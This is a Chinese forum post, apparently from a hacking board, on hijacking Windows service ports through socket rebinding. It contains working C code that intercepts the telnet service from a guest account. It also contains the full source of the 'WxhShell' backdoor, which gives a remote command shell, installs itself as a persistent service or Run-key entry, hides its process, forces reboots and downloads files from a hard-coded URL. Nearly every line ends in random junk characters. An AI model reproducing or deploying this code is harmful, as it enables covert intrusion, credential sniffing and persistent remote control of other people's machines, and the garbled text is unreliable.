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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4,>9N9.?9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SF`(`h0e  
=t`cHs29  
  saddr.sin_family = AF_INET; Z&79: 9=#>  
: _tt9J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t cO{CI  
k<5g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XDHi4i47`o  
i4]oE&G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yRIXUCy  
@mmnr?_w  
  这意味着什么?意味着可以进行如下的攻击: Bhv$   
R8_I ASs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S8Y\@C?5  
Le:(;:eL>t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RWGf]V]6  
!-.GfI:q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Io|D u  
""Da 2Md  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :PtZKt;~X  
6i2%EC9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?^M,Mt  
6JDaZh"=K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _CfJKp)  
uKd4+Km  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #f YB4.i~  
o<G#%9j  
  #include #c5jCy}n  
  #include .] sJl  
  #include tAF?. \x"g  
  #include    :8!RGtn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ! 5NuFLOf  
  int main() BHf$ %?3z,  
  { ]"lB!O~  
  WORD wVersionRequested; Qr9;CVW  
  DWORD ret; d 8DU[p  
  WSADATA wsaData; * <\K-NSL  
  BOOL val; ;4[[T%&v  
  SOCKADDR_IN saddr; fEX=csZ86  
  SOCKADDR_IN scaddr; ocFk#FW  
  int err; 2lCFE)  
  SOCKET s; sVK?sBs]  
  SOCKET sc; u0c}[BAF  
  int caddsize; 8 {V9)U  
  HANDLE mt; V`1,s~"q  
  DWORD tid;    C/IF~<B  
  wVersionRequested = MAKEWORD( 2, 2 ); ) ](ls@*  
  err = WSAStartup( wVersionRequested, &wsaData ); )63 $,y-;$  
  if ( err != 0 ) { O=A2QykV(  
  printf("error!WSAStartup failed!\n"); H*'1bLzq  
  return -1; }=5>h' <  
  } p 1'l D  
  saddr.sin_family = AF_INET; l6ym <V(1p  
   ujZ`T0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =/!lK&  
`8ac;b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W<r<K=`5P  
  saddr.sin_port = htons(23); Q$c6l[(g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -2M~KlYl  
  { IT1YF.i  
  printf("error!socket failed!\n"); q(6.VU@  
  return -1; sD:o 2(G*  
  } nt#9j',6Rn  
  val = TRUE; ~v+kO~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _x!id f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l1)~WqhE}  
  { STp9Gh-  
  printf("error!setsockopt failed!\n"); D%p*G5Bg3  
  return -1; QQM:[1;RT  
  } iT>u&0B-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z uV%`n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :V(LBH0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @- STo/  
^#Ha H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <+_XGOt0<  
  { Y%XF64)6  
  ret=GetLastError(); ABN4kM>%  
  printf("error!bind failed!\n"); |O{N_-];.  
  return -1; _MBhwNBxZ  
  } a!9'yc  
  listen(s,2); jE\ G_>  
  while(1) f#0HiE!  
  { C!j3@EZ$  
  caddsize = sizeof(scaddr); T/_u;My;  
  //接受连接请求 S,c{LTL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vu:ZG*^  
  if(sc!=INVALID_SOCKET) P`biHs8O  
  { 'J,UKK\5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oY)eN?c  
  if(mt==NULL) n<.7tr0f\  
  { Qr.{_M  
  printf("Thread Creat Failed!\n"); jHFjd'  
  break; :_8K8Sa  
  } qyz%9 9  
  } ;6G]~}>o  
  CloseHandle(mt); D+]mKPB  
  } kE&R;T`Gb%  
  closesocket(s); p<mL%3s0  
  WSACleanup(); kL'4m  
  return 0; dn(!wC]  
  }   N]P~`)  
  DWORD WINAPI ClientThread(LPVOID lpParam) aTvyz r1  
  { ^E70$yB ^  
  SOCKET ss = (SOCKET)lpParam; Y&6jFT_  
  SOCKET sc; 9xQ|Uad+%  
  unsigned char buf[4096]; b~gq8,Fatb  
  SOCKADDR_IN saddr; E`)e ;^  
  long num; ht -'O"d:  
  DWORD val; +^AdD8U  
  DWORD ret; iC#a+G*N_M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xA3_W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iJ{axa &  
  saddr.sin_family = AF_INET; +~V%R{h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {"p ~M7  
  saddr.sin_port = htons(23); x6/u+Urn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ? NoNg^Of  
  { F'uqL+jVO  
  printf("error!socket failed!\n"); -M{s zH  
  return -1; zA#pgX[#  
  } ]3v)3Wp  
  val = 100; ,a5q62)q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]xS%E r  
  { `{#""I^_  
  ret = GetLastError(); %DttkrhL  
  return -1; ~BI`{/O=  
  } C^$E#|E9N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M(> 74(}]  
  { t ]BG)]  
  ret = GetLastError(); 6PsT])*>DE  
  return -1; Ox)<"8M  
  } LuRCkKJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 61_PSScSY  
  { e/4C` J-  
  printf("error!socket connect failed!\n"); TFHYB9vV  
  closesocket(sc); ^2 dQVV.  
  closesocket(ss); K-'uE)  
  return -1; ?<J~SF Tt  
  } N!7?D'y   
  while(1) ",~ZO<P  
  { fhg'4FO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Lq3<&$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F*G]Na@6D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "y8W5R5kL4  
  num = recv(ss,buf,4096,0); hGKQK ^bn  
  if(num>0) \6AM?}v  
  send(sc,buf,num,0); 7jw+o*;  
  else if(num==0) <mJ8~  
  break; q>+!Ete1p  
  num = recv(sc,buf,4096,0); GN(,`y  
  if(num>0) E!X>C^  
  send(ss,buf,num,0); q"269W:  
  else if(num==0) e>_a (  
  break; 6# bTlmcg  
  } ,]t_9B QK  
  closesocket(ss); -V2f.QE%  
  closesocket(sc); |Fx *,91  
  return 0 ; `)$G}7cRUH  
  } 6lpJ+A57#  
n3? msY(*  
3ylSO73R  
========================================================== me@`;Q3  
;P' 5RCqj  
下边附上一个代码,,WXhSHELL `#ff`j|a  
j0LZ )V  
========================================================== k v_t6(qd  
g'!"klS93  
#include "stdafx.h"  rPr]f;  
\R9izuc9  
#include <stdio.h> P@bPdw!JA  
#include <string.h> !5'4FUlJ  
#include <windows.h> P];0,;nF  
#include <winsock2.h> e2fv%  
#include <winsvc.h> /)RH-_63  
#include <urlmon.h> 7z{N}  
}T PyHq"  
#pragma comment (lib, "Ws2_32.lib") tYgHJ~1L*  
#pragma comment (lib, "urlmon.lib") !Mgo~h"]#  
4C?4M;  
#define MAX_USER   100 // 最大客户端连接数 fVZ9 2Xw B  
#define BUF_SOCK   200 // sock buffer cBbumf9C  
#define KEY_BUFF   255 // 输入 buffer '5Kj "aD%  
/V cbT >=  
#define REBOOT     0   // 重启 l['p^-I  
#define SHUTDOWN   1   // 关机 0)zJG |  
b+gu<##  
#define DEF_PORT   5000 // 监听端口 W!"QtEJ,  
J8@.qC'!  
#define REG_LEN     16   // 注册表键长度 MtF^}/0w!`  
#define SVC_LEN     80   // NT服务名长度 a >-qHX-l  
7K&Uu3m  
// 从dll定义API EUh_`R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FSz<R*2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $y.0h(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,cS_687o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [+l6x1Am  
"1XTgCu\  
// wxhshell配置信息 1R yE8DdP  
struct WSCFG { 9Nna-}e?W  
  int ws_port;         // 监听端口 4i&Rd1#0dI  
  char ws_passstr[REG_LEN]; // 口令 o~CEja &(  
  int ws_autoins;       // 安装标记, 1=yes 0=no Al@. KTK  
  char ws_regname[REG_LEN]; // 注册表键名 9 !UNO  
  char ws_svcname[REG_LEN]; // 服务名 gMZ+kP`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N^wHO<IO 1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;ThFB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H2Z e\c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q {~$7J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lup2> "?*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L^Q;M,.c;  
G,B4=[Y  
}; Fv)E:PnKC  
oD9L5c)  
// default Wxhshell configuration 01&E.A  
struct WSCFG wscfg={DEF_PORT, 4W49*Je  
    "xuhuanlingzhe",  f9<"  
    1, ]xoG{%vgb  
    "Wxhshell", ]jiVe_ OS<  
    "Wxhshell", yH43Yo#Rk  
            "WxhShell Service", Jd v;+HN[  
    "Wrsky Windows CmdShell Service", I S'Uuuz7g  
    "Please Input Your Password: ", vGPsjxk&  
  1, QS\wtTXj  
  "http://www.wrsky.com/wxhshell.exe",  \G)F*  
  "Wxhshell.exe" 3iX\):4  
    }; Q(q&(/  
E,K>V:P*  
// 消息定义模块 S-Bx`e9'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P7Qel,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 34N~<-9AY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VlL%dN; 0  
char *msg_ws_ext="\n\rExit."; D `V.gV]  
char *msg_ws_end="\n\rQuit."; 1kvs2  
char *msg_ws_boot="\n\rReboot..."; 6@8z3JW.A  
char *msg_ws_poff="\n\rShutdown..."; d}ycC.h4k  
char *msg_ws_down="\n\rSave to "; Sl^PELU  
3/ }  
char *msg_ws_err="\n\rErr!"; 10c.#9$  
char *msg_ws_ok="\n\rOK!"; f^u-Myk  
uZ JfIC<>  
char ExeFile[MAX_PATH];  |Nj6RB7  
int nUser = 0; b l+g7g;  
HANDLE handles[MAX_USER]; J,u-)9yBA<  
int OsIsNt; Ov?J"B'F  
$of2lA  
SERVICE_STATUS       serviceStatus; DC-d@N+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y5+%8#3  
iQ2j ejd3(  
// 函数声明 3T gX]J@  
int Install(void); nQ_{IO8/6W  
int Uninstall(void); Rc1k_fZ}  
int DownloadFile(char *sURL, SOCKET wsh); 4:N*C7 P  
int Boot(int flag); "opMS/a"7  
void HideProc(void); >X05f#c"v/  
int GetOsVer(void); fbOqxF"?we  
int Wxhshell(SOCKET wsl); 3+h3?  
void TalkWithClient(void *cs); Z f\~Cl  
int CmdShell(SOCKET sock); ]SRpMZ  
int StartFromService(void); foQo`}"5  
int StartWxhshell(LPSTR lpCmdLine); vI5lp5( -3  
,bd jk(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )rG4Nga5}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a6e{bAuq  
+?m.uY(  
// 数据结构和表定义 y*vSt^  
SERVICE_TABLE_ENTRY DispatchTable[] = \P?X`]NwnO  
{ }shxEsq  
{wscfg.ws_svcname, NTServiceMain}, KbvMp1'9P  
{NULL, NULL} SFDTHvXu#_  
}; |.UY' B  
!.$L=>:V  
// 自我安装 %60 OS3  
int Install(void) B<m0YD?>~>  
{ p T8?z  
  char svExeFile[MAX_PATH]; HRDpFMA/~  
  HKEY key; G,|!&=Pe|E  
  strcpy(svExeFile,ExeFile); o5F:U4sG  
&EQhk9j  
// 如果是win9x系统,修改注册表设为自启动 tULGfvp  
if(!OsIsNt) { ~!r;?38V`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <d H@e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AT~,  
  RegCloseKey(key); GN(<$,~g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >{IPt]PCn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tZ9i/=S  
  RegCloseKey(key); v CaN[  
  return 0; ~dRstH7u  
    } IFX$\+-  
  } 1w^wa_qx  
} s51$x M  
else { !`Rh2g*o9  
@9gZH_ur>E  
// 如果是NT以上系统,安装为系统服务 vv @m{,7#Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0d9z8y  
if (schSCManager!=0) x 6`!  
{ Vi8A4  
  SC_HANDLE schService = CreateService != ,4tg`  
  ( [!A[oK9i C  
  schSCManager, E6A"Xo  
  wscfg.ws_svcname, .Q*X5Fc  
  wscfg.ws_svcdisp, |HAJDhM,l  
  SERVICE_ALL_ACCESS, y!77gx?-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mn.,?IF`K  
  SERVICE_AUTO_START, J/?Nf2L4  
  SERVICE_ERROR_NORMAL, KT(Z #$  
  svExeFile, cqNK`3:.j  
  NULL, ?0VR2Yb${b  
  NULL, 7w/IHML  
  NULL, %T{]l;5  
  NULL, v~P,OP("c  
  NULL RwWg:4   
  ); 3yZmW$E.  
  if (schService!=0) senK (kbc  
  { `Z?wj@H1`  
  CloseServiceHandle(schService); >M,oyM" s  
  CloseServiceHandle(schSCManager); /fr>Fd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4]y)YNQ(  
  strcat(svExeFile,wscfg.ws_svcname); Pd*[i7zhC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W_\zx<m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fGo4&( U  
  RegCloseKey(key); k"(]V  
  return 0; nVb@sI{{k  
    } V8?}I)#(7  
  } %a;#]d  
  CloseServiceHandle(schSCManager); iQwQ5m!d &  
} 11[lc2  
} V2YK  T,5  
T # \  
return 1; !~@GIr  
} Ey46JO"  
A=Wg0eYy\  
// 自我卸载 G6sK3K  
int Uninstall(void) BX,)G HE  
{ Sqo+cZ  
  HKEY key; 1o_kY"D<  
}]?Si6_ZZ  
if(!OsIsNt) { AlSO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $B+| &]a  
  RegDeleteValue(key,wscfg.ws_regname); tli.g  
  RegCloseKey(key); *z=_sD?1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l>?c AB[  
  RegDeleteValue(key,wscfg.ws_regname); -Mt 5< s  
  RegCloseKey(key); hvd}l8  
  return 0; DDg\oGLp  
  } `BPTcL<W  
} @fL ^I&++  
} ^NW[)Dq1<  
else { W? iA P  
yzA05npTl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OG,P"sv  
if (schSCManager!=0) h~MV=7 lE  
{ qt GJJ#^,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S;Bk/\2  
  if (schService!=0) FqKJids-  
  { TOYK'|lwM  
  if(DeleteService(schService)!=0) { v\0G`&^1  
  CloseServiceHandle(schService); Q M,!-~t  
  CloseServiceHandle(schSCManager); 8s%/5v"  
  return 0; E_HB[ 9  
  } {Z.6\G&q  
  CloseServiceHandle(schService); f0Q6sVZHa  
  } "(koR Q  
  CloseServiceHandle(schSCManager); (}"D x3K  
} s:`i~hjq  
} 8#I>`z^F  
KWwtL"3  
return 1; W+nu=iQ!  
}  )vr@:PE  
0bNvmZ$  
// 从指定url下载文件 <3YZ0f f>  
int DownloadFile(char *sURL, SOCKET wsh) |Td+,>,  
{ ^\)a[OWp  
  HRESULT hr; L\yVE J9x  
char seps[]= "/"; o3ZN0j69|  
char *token; \?:L>-&h8  
char *file; 0QQss  
char myURL[MAX_PATH]; [;E%o^/^  
char myFILE[MAX_PATH]; @WJ;T= L  
BT_]=\zi  
strcpy(myURL,sURL); ~iw&^p|=K  
  token=strtok(myURL,seps); VFT@Ic#]  
  while(token!=NULL) ;#B(L=/  
  { 4.6$m  
    file=token; t@RYJmW  
  token=strtok(NULL,seps); w$gvgz  
  } 4Nm>5*]  
_8K+iqMZG  
GetCurrentDirectory(MAX_PATH,myFILE); ?}||?2=P  
strcat(myFILE, "\\"); 6*8Wtq  
strcat(myFILE, file); gW, [X(  
  send(wsh,myFILE,strlen(myFILE),0); \j)Evjw  
send(wsh,"...",3,0); S"Al [{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;yH>A ;,K%  
  if(hr==S_OK) 337.' |ZE  
return 0; 3WV(Ok  
else !U`&a=k  
return 1; K2m>D=w  
_ %s#Cb  
} QxT'\7f  
EIi<g2pM(  
// 系统电源模块 `At.$3B  
int Boot(int flag) >Wg= Tuef  
{ LPs%^*8(2  
  HANDLE hToken; AbU`wr/h 4  
  TOKEN_PRIVILEGES tkp; "tCI_ Zi;  
Wzq W1<*`  
  if(OsIsNt) { 6#w>6g4V~R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W5j wD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !_glZ*tL  
    tkp.PrivilegeCount = 1; ~$!,-r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <J%qzt}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E4#{&sRT  
if(flag==REBOOT) { _K5<)( )  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s|YH_1r  
  return 0; UBo0c?,4  
} IPo t][ N>  
else { ulR yt^bx|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h*%p%t<  
  return 0; Zy0M\-Mn  
} HOW<IZ^  
  } 7uBx  
  else { --HDEc|  
if(flag==REBOOT) { -:}vf?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L K&c~ Uy  
  return 0; }gSoBu  
} o:8ns m  
else { 8X;?fjl`"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]dycesc'  
  return 0; v[CR$@Y  
} 3}L3n*Ft#.  
} 6:_~-xG  
92-Xz6Bo9  
return 1; mR}8}K]L  
} 5 nt3gVy  
F6{g{ B  
// win9x进程隐藏模块 lp*5;Ls'q  
void HideProc(void) QPy h.9:N  
{ ?Ld),A/c  
mQj#\<*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z<U,]iZB  
  if ( hKernel != NULL ) g5BL"Dn  
  { ueg%yvO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  ff9m_P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o HK   
    FreeLibrary(hKernel); \mF-L,yu  
  } t%@iF U;}  
RXRbW%b  
return; 5%'ybh)@   
} LM<*VhX  
sBlq)h;G?6  
// 获取操作系统版本 Fd8nR9A  
int GetOsVer(void) f:j:L79}  
{ ;&lXgC^*  
  OSVERSIONINFO winfo; _0[z xOI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); za>%hZf\  
  GetVersionEx(&winfo); 5a |R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CI+)0=`<1B  
  return 1; U" @5R[=F-  
  else s.(.OXD&  
  return 0; R/u0,  
} clDn=k<  
d 6Y9D=O  
// 客户端句柄模块 Cq@7oi]W0  
int Wxhshell(SOCKET wsl) azZ|T{S  
{ /@"mQx~[q  
  SOCKET wsh; (R=ZI  
  struct sockaddr_in client; n6[shXH  
  DWORD myID; I/'>MDB!  
hMupQDv/I  
  while(nUser<MAX_USER) "]^U(m>f  
{ +@$VJM%^7b  
  int nSize=sizeof(client); M_O$]^I3w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wz^;:6F  
  if(wsh==INVALID_SOCKET) return 1; J^t0M\  
Gb2|e.z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L^u|= 9  
if(handles[nUser]==0) A@M2(?w4  
  closesocket(wsh); 9X[378f+(  
else ||2%N/?  
  nUser++; <F`9;WX  
  } T7YJC,^m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tL&_@PD)3  
!:d\A  
  return 0; {? yRO]  
} :~s"]*y  
DmoY],9I+p  
// 关闭 socket -X*.scw  
void CloseIt(SOCKET wsh) x ~l"'qsK  
{ 0r@L A|P  
closesocket(wsh); H/f}t w  
nUser--; ~+6#4<M.~  
ExitThread(0); dyqk[$(  
} WKr4S<B8mr  
W9Us I  
// 客户端请求句柄 =PU@'OG  
void TalkWithClient(void *cs) "% i1zQo&  
{ p-C{$5& O1  
WbFCj0  
  SOCKET wsh=(SOCKET)cs; b6g9!  
  char pwd[SVC_LEN]; WnQ'I=E#~  
  char cmd[KEY_BUFF]; Vg (p_k45`  
char chr[1]; j%vxCs>  
int i,j; cB;DB) 0P  
R]kH$0`  
  while (nUser < MAX_USER) { PzjIM!>  
Nf~B 1vkp  
if(wscfg.ws_passstr) { PHsM)V+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z,3CMWHg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TDtHR hq7  
  //ZeroMemory(pwd,KEY_BUFF); X7aj/:fXe  
      i=0; 3,+Us B%  
  while(i<SVC_LEN) { =0@o(#gM  
c1]\.s  
  // 设置超时 ?s0")R&  
  fd_set FdRead; =c[mch%E  
  struct timeval TimeOut; @S012} xH  
  FD_ZERO(&FdRead); lZ+ 1 A0e  
  FD_SET(wsh,&FdRead); @[(%b{TE;  
  TimeOut.tv_sec=8; 5OFb9YX  
  TimeOut.tv_usec=0; YkV-]%c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m<9W#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Vq_O u  
@0:mP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &kOb#\11u  
  pwd=chr[0]; X<"#=u(  
  if(chr[0]==0xd || chr[0]==0xa) { j%0 g *YI  
  pwd=0; 7`X9s~B  
  break; l5k]voG  
  } '$OLU[(Y  
  i++; dZbG#4oO  
    } ]_)=xF19  
j%&^qD,  
  // 如果是非法用户,关闭 socket Boa?Ghg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w<4){ .dA  
} w*N9p8hb]  
jr5x!@rb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "V_PWEi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zPoIs @  
785Y*.p  
while(1) { }%-`CJ,  
w3IU'(|G  
  ZeroMemory(cmd,KEY_BUFF); u RNc9  
7~q'3 N  
      // 自动支持客户端 telnet标准   `S7${0e  
  j=0; hMs}r,*  
  while(j<KEY_BUFF) { fx4X!(w!B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &"svt2  
  cmd[j]=chr[0]; dQFx]p3L  
  if(chr[0]==0xa || chr[0]==0xd) { g'b)]Q  
  cmd[j]=0; =M9Od7\J  
  break; : XZ  
  } )Nq$~aAm  
  j++; 9X{aU)"omQ  
    } Xl%&hM  
F;&'C$%  
  // 下载文件 \bb,gRfP  
  if(strstr(cmd,"http://")) { ,G,T&W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #6JCm!s  
  if(DownloadFile(cmd,wsh)) [w)6OT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3C8'@-U  
  else P z+8u&~p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jX{lo  
  } )P.|Xk:r  
  else { nyPA`)5F0  
mv xg|<  
    switch(cmd[0]) { 6q8qq/h)  
  W~QZ(:IK  
  // 帮助 8DLMxG  
  case '?': { n/UyMO3=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^fb4g+Au  
    break; \Jv6Igu  
  } y#Ch /Jg?|  
  // 安装 I)O-i_}L&K  
  case 'i': { (F7!&]8%  
    if(Install()) /^0Hi4+\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7z6yn= B  
    else @v2kAOw[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J2H8r 'T  
    break; z0Gh |N@)  
    } D x Vt  
  // 卸载 W~Mj6c~S"  
  case 'r': { 8F4#E U  
    if(Uninstall()) H, =??wN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +2W#= G  
    else lTdYPqMi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -acW[$t  
    break; 'L0 2lM  
    } #!y|cP~;I  
  // 显示 wxhshell 所在路径 }kXF*cVg  
  case 'p': { T0RgCU IV  
    char svExeFile[MAX_PATH]; M6|Q~8$  
    strcpy(svExeFile,"\n\r"); hlkf|H  
      strcat(svExeFile,ExeFile); *+qXX CA  
        send(wsh,svExeFile,strlen(svExeFile),0); ;][1_  
    break; u8N+ht@  
    } h.~S^uKi*  
  // 重启 UXa3>q>  
  case 'b': { 'n.eCd j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <h7C_^L10\  
    if(Boot(REBOOT)) iAWPE`u4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_@%4Wn!1L  
    else { D@d/O  
    closesocket(wsh); $o1G xz  
    ExitThread(0); &sWq SS  
    } D 7H$!(F>  
    break; Ql\{^s+  
    } cKK 1$x  
  // 关机 ,1F3";`n[  
  case 'd': { M*+_E8Lh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^i#q{@g  
